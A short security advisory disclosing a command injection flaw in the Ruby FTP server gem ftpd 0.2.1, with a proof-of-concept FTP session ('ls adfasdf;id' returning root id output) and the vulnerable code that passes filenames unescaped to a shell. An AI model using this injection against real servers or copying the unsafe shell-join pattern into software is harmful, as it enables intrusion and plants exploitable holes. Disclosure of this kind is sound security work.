Remote command execution for Ruby Gem ftpd-0.2.1 2/28/2013

https://github.com/wconrad/ftpd http://rubygems.org/gems/ftpd

"ftpd is a pure Ruby FTP server library. It supports implicit and explicit TLS, passive and active mode, and most of the commands specified in RFC 969. It an be used as part of a test fixture or embedded in a program."

The ls interface can have commands injected into it if option or filename contain the shell character ; The example.rb server listens to localhost only which I used to test the ftp library.

./ftpd-0.2.1/lib/ftpd/diskfilesystem.rb for this to work the file must exist in the CWD.

ftp> ls adfasdf;id 200 PORT command successful 150 Opening ASCII mode data connection -rw-r--r-- 1 root root 0 Mar 2 05:52 adfasdf uid=0(root) gid=0(root) groups=0(root) 226 Transfer complete ftp>

204 Ls interface used by List and NameList 205 206 module Ls 207

208 def ls(ftppath, option) 209 path = expandftppath(ftppath) 210 dirname = File.dirname(path) 211 filename = File.basename(path) 212 command = [ 213 'ls', 214 option, 215 filename, 216 '2>&1', 217 ].compact.join(' ') 218 if File.exists?(dirname) 219 list = Dir.chdir(dirname) do 220 {command}

This vulnerability has been fixed by the author in the latest release.

Larry W. Cashdollar @_larry0 http://otiose.dhs.org/